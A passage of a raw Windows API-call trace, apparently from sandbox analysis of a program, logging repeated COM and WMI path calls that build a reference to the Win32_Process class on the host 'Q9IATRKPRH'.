WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f3f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0081.198] WbemDefPath:IUnknown:AddRef (This=0x1c02f3f0) returned 0x3 [0081.198] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f3f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0081.198] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f3f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0081.198] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f3f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c0229a0) returned 0x0 [0081.198] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c0229a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0081.198] WbemDefPath:IUnknown:Release (This=0x1c0229a0) returned 0x3 [0081.198] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0081.198] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0081.198] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f3f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0081.198] WbemDefPath:IUnknown:Release (This=0x1c02f3f0) returned 0x2 [0081.198] WbemDefPath:IUnknown:Release (This=0x1c02f3f0) returned 0x1 [0081.198] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0081.198] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0081.198] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f3f0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1c02f3f0) returned 0x0 [0081.198] WbemDefPath:IUnknown:AddRef (This=0x1c02f3f0) returned 0x3 [0081.198] WbemDefPath:IUnknown:Release (This=0x1c02f3f0) returned 0x2 [0081.198] WbemDefPath:IWbemPath:SetText (This=0x1c02f3f0, uMode=0x4, pszPath="") returned 0x0 [0081.199] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0081.199] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0081.199] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0081.199] IUnknown:Release (This=0x111f638) returned 0x1 [0081.200] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c022960) returned 0x0 [0081.201] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c022960, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0081.201] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c022960, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1c02f4b0) returned 0x0 [0081.201] WbemDefPath:IUnknown:Release (This=0x1c022960) returned 0x0 [0081.201] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f4b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1c02f4b0) returned 0x0 [0081.201] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f4b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0081.201] WbemDefPath:IUnknown:AddRef (This=0x1c02f4b0) returned 0x3 [0081.201] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f4b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0081.201] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f4b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0081.201] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f4b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c0229e0) returned 0x0 [0081.201] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c0229e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0081.201] WbemDefPath:IUnknown:Release (This=0x1c0229e0) returned 0x3 [0081.201] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0081.202] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0081.202] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f4b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0081.202] WbemDefPath:IUnknown:Release (This=0x1c02f4b0) returned 0x2 [0081.202] WbemDefPath:IUnknown:Release (This=0x1c02f4b0) returned 0x1 [0081.202] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0081.202] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0081.202] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f4b0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1c02f4b0) returned 0x0 [0081.202] WbemDefPath:IUnknown:AddRef (This=0x1c02f4b0) returned 0x3 [0081.202] WbemDefPath:IUnknown:Release (This=0x1c02f4b0) returned 0x2 [0081.202] WbemDefPath:IWbemPath:SetText (This=0x1c02f4b0, uMode=0x4, pszPath="") returned 0x0 [0081.202] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f4b0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0081.202] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f3f0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0081.202] WbemDefPath:IWbemPath:GetClassName (in: This=0x1c02f4b0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0081.202] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02f4b0, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0081.202] WbemDefPath:IWbemPath:SetServer (This=0x1c02f4b0, Name="Q9IATRKPRH") returned 0x0 [0081.202] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0081.202] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0081.202] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0081.202] IUnknown:Release (This=0x111f638) returned 0x1 [0081.204] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c022a00) returned 0x0 [0081.204] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c022a00, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0081.204] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c022a00, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1c02f570) returned 0x0 [0081.204] WbemDefPath:IUnknown:Release (This=0x1c022a00) returned 0x0 [0081.204] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f570, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1c02f570) returned 0x0 [0081.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f570, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0081.205] WbemDefPath:IUnknown:AddRef (This=0x1c02f570) returned 0x3 [0081.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f570, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0081.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f570, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0081.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f570, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c022a40) returned 0x0 [0081.205] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c022a40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0081.205] WbemDefPath:IUnknown:Release (This=0x1c022a40) returned 0x3 [0081.205] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0081.205] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0081.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f570, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0081.205] WbemDefPath:IUnknown:Release (This=0x1c02f570) returned 0x2 [0081.205] WbemDefPath:IUnknown:Release (This=0x1c02f570) returned 0x1 [0081.205] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0081.205] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0081.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f570, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1c02f570) returned 0x0 [0081.205] WbemDefPath:IUnknown:AddRef (This=0x1c02f570) returned 0x3 [0081.205] WbemDefPath:IUnknown:Release (This=0x1c02f570) returned 0x2 [0081.205] WbemDefPath:IWbemPath:SetText (This=0x1c02f570, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0081.205] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f4b0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0081.206] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f570, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0081.206] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f570, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0081.206] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f570, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0081.206] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1c02f4b0) returned 0x0 [0081.206] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f570, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0081.219] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02f570, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0081.219] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02f570, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0081.219] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1c02f4b0, uIndex=0x0, pszName="ROOT") returned 0x0 [0081.219] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02f570, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0081.219] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02f570, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0081.219] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1c02f4b0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0081.219] WbemDefPath:IWbemPath:GetClassName (in: This=0x1c02f4b0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0081.219] WbemDefPath:IWbemPath:SetClassName (This=0x1c02f4b0, Name="Win32_Process") returned 0x0 [0081.219] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02f4b0, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0081.220] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f4b0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0081.220] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f4b0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0081.220] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f4b0, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0081.220] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02f4b0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0081.220] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f4b0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0081.220] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f4b0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0081.220] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f4b0, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0081.220] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f270, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0081.220] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f270, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0081.220] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f270, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0081.220] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f4b0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0081.220] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f4b0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0081.220] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0081.220] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0081.220] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0081.220] IUnknown:Release (This=0x111f638) returned 0x1 [0081.222] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1c022ca0) returned 0x0 [0081.223] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c022ca0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0081.223] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c022ca0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1c02f630) returned 0x0 [0081.223] WbemDefPath:IUnknown:Release (This=0x1c022ca0) returned 0x0 [0081.223] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f630, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1c02f630) returned 0x0 [0081.223] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f630, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0081.223] WbemDefPath:IUnknown:AddRef (This=0x1c02f630) returned 0x3 [0081.223] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f630, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0081.223] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f630, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0081.223] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f630, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1c022ce0) returned 0x0 [0081.223] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c022ce0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, 